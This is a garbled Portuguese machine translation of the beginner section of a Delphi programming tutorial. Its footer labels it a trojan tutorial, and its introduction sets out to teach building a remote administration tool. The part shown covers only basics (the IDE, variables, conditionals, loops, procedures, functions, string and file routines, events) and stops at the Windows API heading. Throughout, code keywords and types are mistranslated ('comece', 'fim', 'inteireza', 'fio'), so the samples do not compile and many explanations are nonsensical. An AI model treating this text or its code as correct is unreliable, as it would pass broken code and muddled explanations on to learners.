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INTRODUÇÃO.  

Ao longo deste papel você ganhará o conhecimento de como programar um  

ferramenta de administração remota. Este papel foi projetado para Delphi que  

é o desenvolvimento de aplicação de correnteza de Borland (RAD) ambiente para  

Windows.  

Se não tem uma cópia de Delphi, você pode carregar Delphi 7 Arquiteto  

Tentativa a:  

http://www.borland.com/products/downloads/download_delphi.html  

Este papel é compatível com versões mais cedo de Delphi, enquanto incluindo  

versões 5 e 6.  

Agora que você obteve uma cópia de Delphi, deixa codificação de começo. Agora  

se você é novo a Delphi que eu recomendo começar aqui ao novato  

seção, caso contrário você poderia saltar à frente à seção principal.  

SEÇÃO DE NOVATOS.  

Esta seção lhe dará o groundings para trabalhar durante este papel.  

É recomendado que você tente cada conceito novo encontrado e quando  

você completou esta seção, você deveria poder programar um mesmo  

aplicação de Client/Server simples.  

O DELPHI IDE:  

Abra sua cópia de Delphi. O que você vê aqui é o Delphi IDE que  

postos para Ambiente de Desenvolvimento Integrado. É dividido em 4  

partes: A barra de título que contém o toolbars e o Componente  

Paleta, o Inspetor de Objeto, o Objeto TreeView, e o workspace  

- que mostrará Form1 agora para. Você pode fechar o Objeto  

TreeView porque nós não estaremos usando isto.  

O WORKSPACE:  

Inicialmente mostrado no workspace é um Form1. Esta é a Forma  

Desenhista onde você projeta o olhar do Forma de sua aplicação. Leve um  

Notepad, WordPad, caixa de diálogo, Calculadora etc, estes são todos os exemplos  

de formas (ou janelas). Só atrás do Desenhista de Forma é o Código  

Editor que é onde nós estaremos digitando nosso código para nosso  

aplicação. Para aba entre o dois uso F12.  

NOSSO PRIMEIRO PROGRAMA:  

Primeiramente, adquira cabo da extremidade do Form1 e arraste ao tamanho  

você quer. Agora isto é onde o Inspetor de Objeto entra em jogo -  

note há uma gota abaixo cardápio ao topo do Inspetor de Objeto  

isso diz Form1. Isto significa, as Propriedades e abas de Eventos há pouco  

debaixo de está exibindo as Propriedades e Eventos de nosso Form1.  

Agora leve seu cursor de rato e traga até a barra de título e em cima de  

para a Paleta de Componente. A Paleta de Componente é o lugar com o  

Padrão, Adicional, Win32 etc abas. Clique o componente de Botão.  

Isso é o um com o ‘OK texto de ' nisto. Agora clique em algum lugar em seu  

forme para colocar um Botão em lá. Economize sua aplicação neste momento:  

Arquive, Salve Tudo, selecione um lugar satisfatório, clique economize para Unit1, agora,  

Project1 será seu .EXE nomeiam, assim você poderia querer digitar  

‘FirstProgram ' e economiza.  
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Clique Projeto da barra de título e Compile Todos os Projetos. Isto pode  

leve um segundo porque quer dizer que está acontecendo aqui, o compilador de Delphi  

está convertendo seu projeto em um arquivo executável compilado.  

Está compilando todos os dados naquele projeto em algo o  

computador pode entender o deixando com arquivo de .EXE estar de pé-só. Vá  

sua pasta de papéis onde você salvou isto e corre seu FirstProgram.exe.  

OK, não é muito. Clicando o botão na realidade não faz nada. É  

basicamente há pouco o esqueleto de uma aplicação de Windows com uma droga  

Abotoe nisto. Deixa faça fazer algo.  

Volte para Delphi, selecione sua Forma, e deixa objeto pegado um olhar a seu  

propriedades. Trabalhando com o Inspetor de Objeto aqui, enrole até  

a propriedade de Legenda e em cima de escreva para o ‘Form1 ' com ‘FirstProgram '  

mudar a legenda da Forma. Faça o mesmo com o Botão, mas mudança  

sua legenda para ‘Click eu '. Agora escrever algum código - selecione o Botão  

(que será nomeado Button1) e clica a aba de Eventos do Objeto  

Inspetor. Selecione o evento de OnClick, e digite um nome para isto  

evento no espaço branco. O nome é sua escolha, algo como  

‘WhenButton1IsClicked ' estará bem e então imprensa entra.  

Nós saltamos agora ao Editor de Código e nosso Unit1.pas tem o  

linhas seguintes somaram:  

procedimento TForm1.WhenButton1IsClicked(Sender: TObject); comece  

fim;  

Você não precisa saber as complexidades do código inteiro agora para, você,  

há pouco precise saber que tudo que nós programamos entre o comece e termine;  

será executado quando o Botão fez tique-taque pelo usuário a runtime.  

Runtime é quando o .EXE estiver correndo ao invés de desígnio-tempo que  

é o no qual nós somos agora.  

Ponha esta linha entre o comece e termine: Mundo de ShowMessage(‘Hello! ‘);  

Compile seu projeto (Projeto, Compile Todos os Projetos), e então vai e  

corra e veja o que acontece quando você clicar seu Botão.  

Isso é um pequeno mais interessante. Dê uma olhada no código que  

deveria estar se parecendo algo:  

procedimento TForm1.WhenButton1IsClicked(Sender: TObject); comece  

Mundo de ShowMessage(‘Hello! ‘); fim;  

Você não precisa recuar o ShowMessage enfileire, mas é bom para  

readability para quando seu código começa a crescer. Outra coisa para notar  

é o nome do Evento de OnClick de nosso Button1. Nós chamamos isto  

‘WhenButton1IsClicked ' mas qualquer nome teriam feito, há pouco é o  

nome do Evento. Também, Delphi poderia não ser nenhum caso sensível  

(SHOWMESSAGE.. estaria bem) mas outro comumente gorjeta de practised é  

começar cada palavra com uma letra maiúscula. Eu não entrarei em detalhe  

mas só objeto pegado nota ao longo deste guia do formato de nosso código.  

COMENTÁRIOS:  

Comentários são linhas de texto em sua Unidade que não faz de fato  

qualquer coisa e há pouco está lá para referência. Aqui são alguns exemplos de  

comentários em Delphi:  
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/ / dobro atrás golpe é um modo de comentar  

{aqui nós temos outro comentário}  

{  

este comentário está dentro de um par de suspensórios ondulados  

como é o exemplo acima  

}  

Eles podem ser úteis se você quiser notar algo abaixo em sua Unidade como  

uma lembrança. Note que se você vê suspensórios ondulados usados com um dólar sinal  

como o ‘{$R * .dfm} ' que está em seu Unit1 no momento, isto,  

meios é um compilador diretivo. Directives de compilador são algo  

nós não estaremos usando.  

VARIÁVEIS:  

Atrás para nosso programa, você terá notado há mais a isto que há pouco  

o OnClick evento manipulador de nosso Botão mas isso será explicado mais  

mais tarde. Só nota que seu código principal será contribuição na seção de implementação.  

Você precisa declarar variáveis antes de eles pudessem ser usados e você declara  

eles debaixo da palavra chave de var (a menos que eles sejam globais que que nós viremos  

para posterior). Deixa posto algumas variáveis no Evento de OnClick de nosso Botão:  

procedimento TForm1.WhenButton1Clicked(Sender: TObject); var  

NumberOne: inteireza;  

NumberTwo: inteireza;  

TheResult: inteireza; comece  

NumberOne := 10;  

NumberTwo := 5;  

TheResult := NumberOne + NumberTwo;  

ShowMessage (' O resultado desta soma = ' + IntToStr(TheResult)); fim;  

OK, eu explicarei o que vai em aqui. A seção de var é onde nós  

está declarando que nós vamos estar usando três variáveis de tipo  

inteireza. Um inteireza é um número - tente dactilografia inteireza de ‘' em sua Unidade  

e F1 urgente para expor a ajuda de Delphi. Isto mostrará a gama  

e alguns outros tipos de variáveis. A ajuda de Delphi pode ser muito útil  

enquanto você está desenvolvendo suas aplicações.  

Agora a seção de var sempre vem antes o comece e depois do procedimento ou palavras chaves de função (palavra chave: uma palavra reservou para o  

Compilador de Delphi, I.E você não pode chamar uma variável comece, termine, procedimento etc) e você nomeia valores e os usa no código principal  

bloco. O bloco de código principal é entre o comece e termine;  

Note cada linha no bloco de código principal fins com um semi-cólon. O  

semi-cólon indica o fim de uma declaração. Deveria estar bonito  

direto o que vai em lá. O ‘:= ' é uma tarefa  

assine, assim você está dando para NumberOne o valor de 10. Então você é  

número 5 nomeando para a NumberTwo inteireza variável, e então seu  

TheResult nomeando que o valor das outras duas variáveis somou  

junto.  

A linha final aqui exibições uma exibição de caixa de mensagem: O resultado de  

esta soma = 15. Você vê se você tinha posto o TheResult variável dentro  

a fala marca você teria algo como:  
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‘O resultado desta soma = TheResult '. Assim você precisa fazer o +  

operador para dizer soma este conteúdo variável. Também, eu usei  

IntToStr () como você há pouco uma variável de inteireza não pode exibir naquele tipo  

de situação, você precisa converter isto a um tipo de fio de variável.  

Aqui são alguns outros tipos variáveis com exemplos:  

fio–UM fio algo está como abc123 de ‘?> <;xzs '  

Chamusque - Isto um único caráter como ‘é UM ' ou ‘3 ' ou ‘? '.  

Boolean–UMA variável de Boolean pode igualar Verdadeiro ou Falso.  

SE ENTÃO OUTRO:  

Deixa começo um projeto novo (Arquivo, Novo, Aplicação) e lugar  

componentes: um Botão, um Rótulo e um Memorando em sua forma. Eles enlatam tudo  

seja achado debaixo da aba Standard da Paleta de Componente. Agora dobre  

faça tique-taque em seu Botão. Este é um atalho a fazer o antes do qual nós fizemos  

–cria código de manipulador de evento para o evento de OnClick deste Botão, mas  

este tempo é determinado o nome de falta Button1Click.  

Volte para sua Forma e jogue aproximadamente com seus componentes, enquanto classificando segundo o tamanho  

posicionando etc, e confirma algumas das propriedades deles/delas. Você pode fixar  

a propriedade de Fonte, colour de fonte e classifica segundo o tamanho, colour do Memorando, some um  

ScrollBar para o Memorando–tudo são mudanças de desígnio-tempo. Deixa faça alguns  

runtime muda–Volte para sua Unidade e ponha neste código:  

procedimento TForm1.Button1Click(Sender: TObject); var  

s: fio; comece  

s := ' Esta é nossa legenda nova. ';  

se Label1.Caption = ' Label1 ' então  

comece  

Label1.Caption := s;  

Memo1.Lines.Add (' legenda de Label1s foi mudada! '); fim; fim;  

Para nosso se declaração–nós estamos dizendo se a condição for então Verdade  

execute o bloco de código abaixo marcado com o novo comece e termine;  

A condição é entre o se e as palavras chaves de então, e porque  

a Legenda do Rótulo iguala ‘Label1 ' (se você não se mexeu  

com isto) o código é executado dentro do bloco de código novo. O código  

isso é executado espetáculos como você acrescentaria uma linha a um Memorando (você precisa  

usar o nome do Memorando, Memo1 neste caso) e a mudança de legenda  

espetáculos como fazer um runtime mude à propriedade de Legenda. Estender  

este conceito, nós podemos somar um outro seção:  

procedimento TForm1.Button1Click(Sender: TObject); var  

s: fio; comece  

s := ' Esta é nossa legenda nova. ';  

se Label1.Caption = ' Label1 ' então  

comece  

Label1.Caption := s;  

Memo1.Lines.Add (' legenda de Label1s foi mudada! '); fim  

outro comece  

Memo1.Lines.Add (' Nós estamos dentro o outro seção de nosso código. '); fim;  

fim;  

Permitido usar: Christopher Rainbird, Plymouth, Devon, PL8 1DY, REINO UNIDO,  

PaperX - Trojan Tutorial em PDF 5  

Todos os direitos reservados. 2003: Ingo Haese que publica (www.hackersbook.com)  

O OK nota agora que nós há pouco tomamos o semi-cólon do fim  

antes do outro. Isto é porque quando você usa um ‘; ' em um fim; isto  

marcas o fim de um bloco de código. Nós não queremos terminar o bloco de código  

lá porque nós queremos associar o outro seção dentro disto  

bloco. Bem isso deveria estar bem claro, deveria compilar e deveria correr isto e  

veja o que acontece - você provavelmente pode trabalhar fora por que. Depois de clicar nosso  

Abotoe uma vez, nós mudamos nossa legenda de Rótulos claro que, assim quando  

você clica isto em uma segunda vez, o se condição avalia para Falso (é  

infiel, não iguala ‘Label1 ') e o outro seção é executada  

entre o outro comece e termine; - Esses começam e terminam pedaços puderam  

se pareça:  

Outro outro comece OUTRO COMECE  

Comece  

Fim; fim; FIM;  

Isso só é demonstrar como Delphi não é nenhum caso sensível e o  

espaçando entre código não importa. Eu prefiro o modo nós fixamos nosso  

codifique fora em nossa Unidade.  

Deixa introduza um Edite componente. Leve um e vista em algum lugar  

sua Forma (aba de Padrões novamente–paire seu cursor em cima dos ícones dentro  

a Paleta de Componente durante um segundo para se aparecer o nome de componente). Vá  

atrás para a Unidade e muda o código como segue:  

procedimento TForm1.Button1Click(Sender: TObject); var  

i: inteireza; comece  

i := StrToInt(Edit1.Text); se i> 10 então  

comece  

Memo1.Lines.Add (' O valor em Edit1 é maior que 10. '); fim  

outro comece  

Memo1.Lines.Add (' O valor em isnt de Edit1 maior que 10. '); fim; fim;  

Teste isso. Note que se você tem qualquer coisa mas um número dentro o  

Edite Componente você adquire um erro. Isso é porque nós estamos convertendo o  

conteúdos do Edita em um inteireza tipo variável assim nós podemos nomear  

isto para ‘i '. Nós fazemos esta conversão que usa o StrToInt funcione (nós vamos  

venha depois a funções). Edit1.Text está dizendo a propriedade de Texto de  

Edit1. Dê uma olhada nisto no Inspetor de Objeto, dirá Edit1  

no momento, mas você pode apagar isso. O resto se explica–se  

i (o valor em Edit1) é então maior que 10..  

Nós introduzimos o maior que o operador aqui (>). Debaixo de é alguns  

outros operadores que você pode usar:  

MATEMÁTICO: + (some), - (subtraia), * (multiplique), div (divida).  

LÓGICO: e: se (i = 6) e (ii = 5) então  

ou: se (i = 6) ou (ii = 5) então  

IGUALDADE: > (maior que), <(menos que), = (igual para),  

<> (não igual para), <= (menos que ou iguala),  

>= (maior que ou iguala).  

NOTA: Não confunda a tarefa operador ‘:= ' com igual a ‘= '.  
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ANINHADO SE DECLARAÇÕES:  

Se você segue um se declaração com outro se declaração, isto é dito  

estar aninhando ifs. Você normalmente faria isto porque você quer  

confirme alguns condições em algo. Aqui é uma modificação para nosso  

Unidade para demonstrar:  

procedimento TForm1.Button1Click(Sender: TObject); var  

i: inteireza; comece  

i := StrToInt(Edit1.Text); se i> 10 então  

comece  

se i = 15 então  

comece  

Memo1.Lines.Add (' * * O valor de i é 15! * * '); fim;  

Memo1.Lines.Add (' O valor em Edit1 é maior que 10. '); fim  

outro comece  

Memo1.Lines.Add (' O valor em isnt de Edit1 maior que 10. '); fim; fim;  

Tente que. Assim se “i” é maior que 10, então nós entramos no primeiro código  

bloco onde outro se declaração é conferida. Se aquela declaração é  

Retifique, então nós entramos que se bloco de código. Quando nós deixamos aquele código  

bloqueie a seu fim; - nós ainda vamos executar o diretório de linha  

debaixo disto porque é parte de nosso primeiro bloco de código (porque i era  

maior que 10), mas nós deixaremos isto lá–nós saltamos o outro  

seção.  

ORDENS:  

Uma ordem é uma coleção de valores. É uma variável, mas às vezes  

em lugar de usando 5 variáveis de fio, você poderia querer usar uma ordem  

de fio de tipo segurar todos os 5 fios. Aqui é um exemplo de declaração:  

var  

MyArray: array[0 ..4] de fio;  

Assim lá você declarou a ordem na seção de var, e você tem  

declarado vai conter 5 fios. Você vê *Object Pascal *  

ordens (como com muitas outras linguagens de programação) é zero-baseado, assim  

0 seriam seu primeiro índice de ordem (eles não têm que ser entretanto).  

*Object Pascal *–Este é o idioma no que nós estamos codificando a propósito.  

Nós podemos estar usando Delphi que é o pacote inteiro - Componentes e  

tudo, mas o código atual é Objeto Pascal.  

Tão aqui é como você nomearia fios àquela ordem:  

MyArray[0] := ' Este é nosso primeiro fio no array';  

MyArray[1] := ' Este é nosso segundo fio no array';  

MyArray[2] := ' Este é nosso terceiro fio no array';  

MyArray[3] := ' Este é nosso quarto fio no array';  

MyArray[4] := ' Este é nosso quinto fio no array';  
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E para trabalhar com um certo fio, você usaria há pouco o nome de ordem  

(MyArray) e o índice do fio que você quer dentro de suspensórios. POR EXEMPLO:  

Memo1.Lines.Add(‘Data no terceiro índice de ordem: ‘+ MYARRAY[2]);  

VOLTAS:  

Voltas são usadas quando você quiser fazer algo uma certa quantia de  

tempos, até que uma condição é conhecida, ou por vários outras razões.  

Há três tipos principais de voltas, o porque, o tempo, e a volta repetida. Nós discutiremos cada separadamente.  

O PORQUE VOLTA:  

Muito comumente usado. Comece um projeto novo e ponha um Memorando e Abotoe em  

sua Forma. Programe o evento de OnClick do Botão como segue:  

procedimento TForm1.Button1Click(Sender: TObject);  

var  

int: inteireza; comece  

Memo1.Clear; {Isto clareia o Memorando. }  

para int := 1 a 10 fazem  

comece  

Memo1.Lines.Add(IntToStr(int) + ' tempos pela volta. '); fim; fim;  

Eu somei um comentário aqui para o deixar saber o que aquela declaração faz.  

Assim o que temos nós? –Nós estamos dizendo que 1 a 10 fazem o dentro do qual é o comece e termine; logo após o faça. A primeira vez ao redor nós somos  

int de ‘nomeando ' com 1 e cada tempo pela volta depois disso,  

Int de ‘que ' é incrementado antes da 1.  

A VOLTA DE TEMPO:  

A volta de tempo dará laçada enquanto uma condição for Verdade. Uma vez o  

jogo de condição é Falso, as saídas de volta. Exemplo:  

procedimento TForm1.Button1Click(Sender: TObject); var  

int: inteireza; comece  

Memo1.Clear;  

int := 1; enquanto int <> 10 fazem  

comece  

Memo1.Lines.Add(IntToStr(int) + ' tempos pela volta. ');  

Inc(int); {Isto incrementa int antes da 1}  

fim; fim;  

Isto dará laçada por 9 vezes como a 9ª vez por int é  

incrementado pela 1 e assim iguala 10. Claro que a condição fixou aqui  

é enquanto int não for (<>) 10 assim quando iguala 10, então condição,  

fica Falso e a volta existe.  

A VOLTA REPETIDA:  

Bem parecido para enquanto volta mas a condição é conferida ao término de  

a volta, em lugar de no princípio como na volta de tempo. POR EXEMPLO:  
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repita {nós teríamos incrementado int antes da 1 logo antes a repetição}  

Memo1.Lines.Add(IntToStr(int) + ' tempos pela volta. ');  

Inc(int); até int = 10;  

Isso é bem direto. Substitua o tempo, faça, comece, fim;  

seção da volta de tempo com aquele código para testar.  

NOTA: Se você usa ‘Break; ' em algum lugar em uma volta que terminará  

a volta–saída a volta àquele ponto de Fratura.  

FUNÇÕES E PROCEDIMENTOS:  

Este é um ponto importante como funções e procedimentos fará as pazes  

o corpo de nossos programas. Elas são rotinas para as quais podem ser chamadas  

execute uma tarefa específica sempre que é requerido.  

PROCEDIMENTOS:  

Ponha um Botão e um Memorando em uma forma e faça o olhar de OnClick de seu Botão  

assim:  

procedimento TForm1.Button1Click(Sender: TObject); comece  

Memo1.Lines.Add (' Sobre chamar nosso procedimento.. ');  

HelloWorld;  

Memo1.Lines.Add (' Nós retomamos aqui quando o procedimento tiver performed'  

+ ' sua tarefa. '); / / Você poderia poder ajustar isto em uma linha. Se  

/ / assim, esqueça o + pedaço.  

fim;  

Se lembre do ‘/ / ' é um comentário e dará no mesmo o  

código. Se você compila que, você adquirirá um Compile declaração de Erro:  

Identifier de Undeclared ‘HelloWorld '. A caixa branca exibiu  

debaixo do Editor de Código mostra o compile erros. Deixa escreva nosso  

HelloWorld codificam:  

procedimento TForm1.HelloWorld; comece  

ShowMessage (' Oi mundo! '); fim;  

Ponha aquele procedimento em algum lugar em sua Unidade depois do implementação  

mas antes de o ‘final terminassem. '–talvez deixe uma linha depois de seu OnClick  

evento e então pôs isto dentro. Agora tente e compile isso. OK, está imóvel  

undeclared porque nós escrevemos o código mas não declaramos que nós somos  

usando este procedimento em nosso Form1. Você declara seus procedimentos dentro o  

Form1 classificam na seção de tipo de sua Unidade. Enrole para cima e você vá  

veja um exemplo–o procedimento do Botão. Só debaixo disso posto: procedimento HelloWorld; - logo antes a palavra chave privada.  

Notificação em seu procedimento você tem ‘TForm1. ' mas não no procedimento  

declaração. Isso é porque na declaração está declarando você que é  

indo ser então um sócio da classe de TForm1 para ter o  

compilador reconhece isto como isto, você precisa deixar isto saber usando o  

TForm1. Não preocupe aproximadamente que para agora entretanto, só entenda como para  

de fato declare e use o procedimento.  

Compile e teste que. Eu vou o presumir pode trabalhar fora o que é  

indo em lá–só estudo o código.  
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Um procedimento é uma rotina que não devolve valor (não faz  

devolva um valor de resultado). pode aceitar valores porém–que são  

parâmetros chamados. Este procedimento aceita um parâmetro de inteireza:  

procedimento TForm1.DoubleIt(var ValueToDouble: inteireza); comece  

ValueToDouble := ValueToDouble * 2; fim;  

Permitir para o procedimento aceitar um valor e poder mudar isso  

avalie você precisa declarar isto como uma variável do tipo você quer isto para  

possa aceitar–inteireza em nosso caso. O nome pode ser qualquer coisa como  

é há pouco um nome variável. Você faz este dentro de um par de parêntese  

como mostrado. Aqui é como passar um parâmetro para este procedimento:  

procedimento TForm1.Button1Click(Sender: TObject); var  

AnInteger: inteireza; comece  

AnInteger := 5;  

DoubleIt(AnInteger); / / Aqui nós passamos ‘AnInteger ' a DoubleIt  

Memo1.Lines.Add(IntToStr(AnInteger)); / / Tente isto sem  

fim; / / IntToStr - o que acontece?  

Se você não declarou este procedimento que você adquire um compile erro. Ponha  

esta linha logo antes a palavra chave privada: procedimento DoubleIt(var ValueToDouble: inteireza);  

O que vai em? - ‘AnInteger ' é nomeado com 5 e então passou  

nosso procedimento de DoubleIt. O parâmetro de DoubleIt ‘ValueToDouble ' agora  

cabos uma referência para o ‘AnInteger o local de memória de variável de ' em  

o disco rígido. Se nós manipulamos ValueToDouble que aqui, nós multiplicamos  

antes das 2–nós estamos manipulando AnInteger.  

FUNÇÕES:  

Eu mencionei que um procedimento não devolve valor. O  

ser de diferença que uma função faz, e também pode aceitar parâmetros.  

Coloque 2 Edita em sua Forma e um Botão. Aqui é nosso código de função:  

função TForm1.Multiply(Int1, Int2,: inteireza): inteireza; comece  

Resulte := Int1 * Int2; fim;  

Declare como sempre - seria esta linha (de função começar..): função Multiply(Int1, Int2,: inteireza): inteireza; (..but  

sem ‘TForm1 ') - e cria um OnClick evento manipulador para seu  

Abotoe com este código:  

procedimento TForm1.Button1Click(Sender: TObject); var  

ReturnValue: inteireza;  

Ed1: inteireza;  

Ed2: inteireza; comece  

Ed1 := StrToInt(Edit1.Text);  

Ed2 := StrToInt(Edit2.Text);  

ReturnValue := Multiply(Ed1, Ed2);  

Memo1.Lines.Add(IntToStr(ReturnValue)); fim;  
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Teste que. Você precisa pôr um número em cada obviamente Edite caixa a  

runtime. Em primeiro lugar, note não há nenhum var na função  

parêntese de parâmetro.  

Isto é porque nós queremos poder passar números atuais bastante para isto  

que só variáveis como nós só pudéssemos ter feito com nosso procedimento  

exemplo. Também, esta função aceita dois parâmetros. A sintaxe para  

aceite mais que um pararmeter é: (Vírgula de NameOfFirst NameOfSecond  

cólon DataType)–como mostrado em nossa função. Ao término de nosso  

funcione nós temos o tipo de dados que vai ser devolvido.  

‘: inteireza ' quer dizer o Resultado de ‘que ' será de inteireza de tipo.  

O que é Resultado de ‘': Isto é uma variável reservou para ser nomeada o  

resulte das ações de uma função. Tem que ser declarado igual a qualquer  

outra variável, mas é declarado pelo compilador e não mostrado a você.  

A chamada de função celebrará o valor de retorno de certo modo. Assim se você  

nomeie uma variável com a chamada de função como nós fizemos aqui:  

ReturnValue := Multiply(Ed1, Ed2); - nós estamos dando isto o Resultado  

valor. ‘Multiply(Ed1, Ed2) ' é nossa chamada de função e espetáculos como você  

passe dois parâmetros–você há pouco separa cada com uma vírgula.  

Claro que o ReturnValue conterá um valor de inteireza agora como isso  

é isso que nossos lucros de função. Você não pode acrescentar inteirezas a um Memorando  

porque aceitará só fios assim nós temos que usar o StrToInt ()  

função. Onde fez o StrToInt () função vem de? Nós não temos  

codificado isto. Isso está correto, e isso conduz em nosso próximo tópico - o  

usos listam.  

OS USOS LISTAM:  

Tão longe nós usamos há pouco uma Unidade em nossas aplicações. Você pode  

porém some Unidades adicionais. Talvez você tem muitas rotinas  

(procedimentos e funções) que você não quer ver dentro seu principal  

Unidade (a Unidade da Forma) porém você ainda precisa os chamar executar  

a tarefa específica deles/delas. Você poderia criar uma segunda Unidade e há pouco poderia encher isto  

fora com estas rotinas e então associar sua Unidade principal com  

este código só Unidade, você poria o nome disto na lista de usos.  

Enrole até o topo de seu Unit1.pas. A seção de usos é onde você  

ponha o nome de uma Unidade que você gostaria de usar código de. Tente  

fora–Arquivo, Novo, Unidade, e pôs seu Multiplique função em lá dentro o  

seção de implementação. A declaração aqui estaria na seção de interface, e nota você não precisa usar ‘TForm1. ' nisto  

Unidade. Agora atrás para Unit1 e pôs Unit2 em algum lugar na lista de usos: Ponha  

uma vírgula no fim da última unidade na lista e então soma ‘Unit2 '.  

Delphi contém uma biblioteca grande de funções pre-escritas, procedimentos,  

Métodos, Objetos, Classes, Componentes (o Componente Visual  

Library(VCL)) para nós trabalhar com. Você pode ver já há um  

poucas unidades listaram na seção de usos como Windows, Mensagens,  

SysUtils para nomear alguns. Estes tudo contêm código no qual nós podemos usar  

nossa aplicação.  

Voltando ao StrToInt ()–paire seu rato em cima disto para um  

segundo. Se aparecerá uma declaração de linha é uma função dentro  

SysUtils.pas que é um das Unidades em nossa lista de usos. Isto é  

notícias boas porque uma pequena coisa como converter um fio para um  

inteireza poderia levar uma página inteira ou mais de codificação, mas nós temos o  

já funcione lá para nós usarmos.
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Vá para seu Unit1 e faça tique-taque de forma que seu cursor flamejando está em algum lugar  

em cima de ‘StrToInt ' e imprensa F1. Isto expõe a ajuda que lhe fala  

um pequeno sobre a função. Se uma caixa é exibida com duas escolhas,  

há pouco seleto a função de StrToInt.  

Você pode ver que devolve um inteireza. Você também pode ver aceita  

um parâmetro de fio de tipo de dados. Diz a palavra chave de const. Agora eu  

não mencione isto agora até, mas um tipo de const está como uma variável  

mas não pode ser mudado. O tipo de const foi usado nesta função  

porque o fio que aceita não será mudado–não vai  

devolver um valor diferente para o que nós passamos isto, é há pouco  

indo converter os dados digitam para nós.  

A ajuda de Delphi é muito útil por ter observado como trabalho de rotinas. Como  

Eu digo, há pouco ponha seu cursor fundamental em cima de um nome rotineiro e F1 batido.  

ALGUMAS OUTRAS ROTINAS ÚTEIS QUE NÓS ESTAREMOS USANDO:  

Você viu StrToInt (), bem IntToStr () é há pouco o oposto. Debaixo de  

é algumas outras rotinas úteis. Se lembre, adquirir informações mais adiante  

no tipo rotineiro no nome, selecione, e imprensa F1 em Delphi.  

Pos (): Esta função devolve a posição (índice) de um fio dentro  

um fio. Aqui é um retalho de código para ilustrar:  

var  

PosInteger: inteireza; comece  

S := ' ABCDEFGH';  

POSINTEGER := POS (' D', S);  

Memo1.Lines.Add(IntToStr(PosInteger));  

A variável de PosInteger seria nomeada 4 aqui, como isso é o  

posição de ‘d ' em S. Você também poderia fazer algo assim:  

MEMO1.LINES.ADD (INTTOSTR (POS (' EF', S)));  

Isso somará 5 ao Memorando como isso é a posição de ef de ‘' no S  

amarre aqui. Eu deixei espaços entre os parênteses para claridade -  

o compilador de Delphi ignora espaço de qualquer maneira. A partir do meio  

lá, o resultado daquela função está o ser passado o  

IntToStr funcionam que aquele resultado está sendo exibido no Memorando.  

Este código é o modo preferido para fazer esta tarefa como é mais compacto.  

Um ponto para notar é, se havia mais de um ef de ‘' em S, Pos ()  

devolva o índice da primeira ocorrência disto.  

Cópia (): Esta função devolve uma cópia de uma certa parte de um fio.  

Se nós declaramos outro fio ‘StringBit ' variável e usando o anterior  

ainda codifique, nós poderíamos fazer:  

StringBit := Copy(S, 2, 5);  

Memo1.Lines.Add(StringBit);  

A função de Cópia aceita três parâmetros. O primeiro em sendo o  

variável de fio, segundo começa o índice donde você quer copiar  

de, e o terço quantos caráter que você quer copiar disso  

aponte onwards. Não confunda o terceiro parâmetro com outro índice.  

Nós estamos dizendo, comece às 2 (‘b ') e remove 5 caráter (para ‘f ')  

e copia que mordeu. Nós adquirimos bcdef de ‘'.  
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Apague (): UM procedimento que apaga uma seção de um fio. Se nós tivéssemos  

AStringVar que conteve ‘ThisStringWasAssignedToAStringVar ' e nós  

querido remover o primeiro Fio de ‘' do fio. Nós podemos usar  

apague:  

Delete(AStringVar, 5, 6);  

Memo1.Lines.Add(AStringVar);  

O Apague () parâmetros trabalham da mesma maneira como Cópia (). O primeiro  

sendo o fio, segundo o índice, e o terço quantos caráter  

contar junto no fio como o ponto apagar. Note, você pôde  

não faça: Memo1.Lines.Add(Delete(AstringVar, 5, 6)); - como é um  

procedimento e lucros nenhum valor.  

Comprimento (): Função que devolve o número de caráter em um fio  

ou elementos em uma ordem. Nós estaremos usando isto principalmente com fios. Se  

AStringVar contém: ‘ThisStringWasAssignedToAStringVar '–e nós fazemos:  

Memo1.Lines.Add(IntToStr(Length(AStringVar)));  

Isso devolverá 33 como lá é 33 caráter em AStringVar.  

Inc (): Nós já vimos este mais cedo assim inspeciona a ajuda isto  

um. É um procedimento que incrementa um valor.  

FileExists (): Esta função confere se um certo parâmetro de arquivo  

passado a isto existe em um disco rígido. Exemplo:  

se FileExists (' c:\file.txt ') = Retifique então  

comece  

Memo1.Lines.Add (' O arquivo existe! '); fim  

outro comece  

Memo1.Lines.Add (' O arquivo não existe. '); fim;  

Porque FileExists devolve um valor de Boolean–Verdadeiro se o arquivo existe,  

e Falso se não fizer, nós podemos fazer o anterior conferir. O arquivo nós  

passou poderia ter sido uma variável de fio que contém o nome e  

caminho do arquivo, ou talvez FileExists(Edit1.Text).  

DeleteFile (): Esta função é chamada da mesma maneira como FileExists ()  

- porém removerá um arquivo de um disco. Se o arquivo foi  

apagado a função devolverá Verdadeiro. Se o arquivo não pode ser apagado  

ou não existe, a função devolve Falso.  

EVENTOS:  

Microsoft Windows é um ambiente evento-dirigido. Isto significa isso  

quando um evento acontecer, o Windows envia para um programa uma mensagem de Windows  

informando o programa do evento que há pouco aconteceu. Isto pôde  

seja algo como um ser fundamental apertado, um rato que é clicado, movido  

etc.  

No VCL (Biblioteca de Componente Visual–os componentes em Delphi  

Paleta de componente) são listados eventos debaixo da aba de Evento do  

Conteste o Inspetor. Estes são ‘ativou ' ou ‘despediram ' como resultado de  

alguma ação no componente.  

Nós já usamos o evento de OnClick de um componente de Botão. O  

código gerou quando você cria que este evento é um método chamado um evento  
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manipulador. Está dando o evento–executando o código dentro disso  

manipulador de evento quando o evento é incendiado.  

Dê uma olhada em alguns dos outros eventos de sua Forma. Esqueça o  

Ação, Controle Ativo etc–nós há pouco estamos olhando ao Em.. pedaços.  

Você pode fazer tique-taque em um evento particular e imprensa F1 para ter um olhar a  

a ajuda para aquele evento. Aqui são alguns eventos comuns nós seremos  

trabalhando com:  

OnCreate: Acontece quando a forma é criada inicialmente. Será disparado  

só uma vez como é criada só uma vez a forma. Use este evento para fazer  

algo que você gostaria de fazer quando a forma é criada.  

OnKeyDown: Se a forma é nossa janela ativa (em foco) e o usuário  

aperte uma chave, este evento é incendiado.  

OnKeyPress: Semelhante ao evento de OnKeyDown mas este evento não faz  

lhe dê a gama cheia de chaves.  

Criar o manipulador de evento para um evento só tipo um nome no  

caixa branca próximo ao evento e imprensa entra. Ou, você há pouco pôde  

trinco dobro no evento que gerará um nome para você.  

Você não precisa responder por todos os eventos. Você há pouco poderia querer usar  

um como nós fizemos mais cedo com o OnClick. Estes poucos eventos que eu tenho  

há pouco mencionado é de nossa Forma, porém você vai bom muitos outro  

componentes no VCL para ter os mesmos eventos (aparte de OnCreate).  

A APLICAÇÃO DE JANELA QUE PROGRAMA INTERFACE (API):  

